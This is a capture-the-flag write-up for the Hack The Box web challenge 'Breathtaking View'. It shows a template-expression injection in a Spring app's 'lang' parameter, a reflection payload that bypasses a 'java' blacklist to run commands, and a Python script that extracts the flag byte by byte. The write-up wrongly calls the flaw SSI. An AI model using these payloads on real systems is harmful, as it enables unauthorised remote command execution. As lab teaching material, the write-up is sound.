Hack The Box: Breathtaking View Challenge Writeup

Breathtaking View is categorized as an Easy web challenge on Hack The Box. In this write‑up, we’ll walk through each step from initial enumeration to full flag extraction explaining the rationale behind every action. All code blocks and their positions are preserved exactly as originally provided.


1. Challenge Setup

After spawning the Breathtaking View machine, you’ll receive:

  • IP address and port for HTTP service
  • A password‑protected ZIP archive containing the site’s source code (password: hackthebox)

We’ll first explore the live site to understand its functionality and gather clues before diving into the code.


2. Initial Reconnaissance

Navigating to the root URL presents a serene panorama alongside a login/registration form:

“Create an account to enjoy the view fully.”

By registering a new user and logging in, the page reloads with an additional option to switch the displayed language.


3. Testing for Server‑Side Includes (SSI)

Clicking the language selector appends a ?lang=<code> parameter. By default:

To check for SSI injection, we replaced fr with a simple arithmetic expression embedded in an SSI payload:

__${7*7}__::
%5f%5f%24%7b%37%2a%37%7d%5f%5f%3a%3a

Once URL‑encoded, we received the expected result, confirming that SSI expressions are evaluated on the server side.

Key takeaway: Even simple environments may inadvertently allow SSI evaluation if template filtering is incomplete.

Bingo SSI Worked

4. Analyzing the Source Code

Inspecting the controller responsible for handling the lang parameter revealed a basic “blacklist” filter against the substring java:

package com.hackthebox.breathtaking_view.Controllers;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;

import javax.servlet.http.HttpSession;

@Controller
public class IndexController {
    @GetMapping("/")
    public String index(@RequestParam(defaultValue = "en") String lang, HttpSession session, RedirectAttributes redirectAttributes) {
        if (session.getAttribute("user") == null) {
            return "redirect:/login";
        }

        if (lang.toLowerCase().contains("java")) {
            redirectAttributes.addFlashAttribute("errorMessage", "But.... For what?");
            return "redirect:/";
        }

        return lang + "/index";
    }

}

Session check ensures only authenticated users can access the main page.

Substring filter blocks any payload containing “java” (case‑insensitive), likely in an attempt to prevent arbitrary Java calls.

5. Crafting a Bypassing Payload

We need to execute arbitrary commands without triggering the java blacklist. The SSI expression already allows basic Java reflection, so we:

  1. Use getClass().forName(...) to build "java.lang.Runtime" dynamically, avoiding the literal substring.
  2. Execute the cut command instead of cat, because getInputStream().read() only returns a single byte (the first character) of the command’s output.
  3. Iterate over each byte position to reconstruct the full flag.

The raw SSI payload:

__${"".getClass().forName('j'+'av'+'a.lang.Runtime').getRuntime().exec('cut -b1 flag.txt').getInputStream().read()}__::
%5f%5f%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%27%2b%27%61%76%27%2b%27%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%75%74%20%2d%62%31%20%66%6c%61%67%2e%74%78%74%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2e%72%65%61%64%28%29%7d%5f%5f%3a%3a

Dynamic class loading via string concatenation evades the simple “java” filter.

cut -b1 flag.txt extracts only one byte, matching the read limitation.

The response 72 corresponds to ‘H’ in ASCII a promising start, since HTB flags typically follow the HTB{…} format.

6. Automating the Extraction with Python

Manually iterating over each byte is tedious, so we wrote a Python script to automate:

import requests

# === Configuration ===
BASE_URL = "http://<Challenge Machine IP:Port>/"
COOKIE = {"JSESSIONID": "<SESSION ID>"}
HEADERS = {
    "Host": "<Challenge Machine IP:Port>",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "DNT": "1",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
    "Sec-GPC": "1",
    "Priority": "u=0, i",
}

def make_payload(byte_index):
    payload = f"%5f%5f%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%27%2b%27%61%76%27%2b%27%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%75%74%20%2d%62{byte_index}%20%66%6c%61%67%2e%74%78%74%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2e%72%65%61%64%28%29%7d%5f%5f%3a%3a"
    return payload

def extract_char_from_response(content):
    try:
        first_split =  content.split("Error resolving template [")[1]
        second_split = first_split.split("],")[0]
        return chr(int(second_split)) 
    except IndexError:
        return None

def main():
    flag = ""
    print("[*] Starting flag extraction...\n")
    for i in range(1, 32):  
        payload = make_payload(i)
        url = f"{BASE_URL}?lang={payload}"
        response = requests.get(url, headers=HEADERS, cookies=COOKIE)
        content = response.text
        char = extract_char_from_response(content)
        if char is None or not char.strip():
            print(f"[{i}] No character returned or end of flag.")
            break
        print(f"[{i}] '{char}'")
        flag += char
        if char == '}':
            break
    print(f"\n✅ Final extracted flag: {flag}")

if __name__ == "__main__":
    main()

This script:

  1. Generates a URL‑encoded payload targeting each byte index.
  2. Parses the HTTP response to extract the single‑byte ASCII code.
  3. Converts it to a character and appends to the flag string.
  4. Stops when the closing brace } is encountered.

7. Extracted Flag

Running the exploit yields:

python3 exploit.py 
[*] Starting flag extraction...

[1] 'H'
[2] 'T'
[3] 'B'
[4] '{'
[5] 'x'
[6] 'x'
[7] 'x'
[8] 'x'
[9] 'x'
[10] 'x'
[11] 'x'
[12] 'x'
[13] 'x'
[14] 'x'
[15] 'x'
[16] 'x'
[17] 'x'
[18] 'x'
[19] 'x'
[20] 'x'
[21] '}'

✅ Final extracted flag: HTB{xxxxxxxxxxxxxxxx}

And with that, the Breathtaking View challenge is solved an elegant demonstration of abusing SSI and Java reflection to achieve remote command execution, even under naive filtering.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top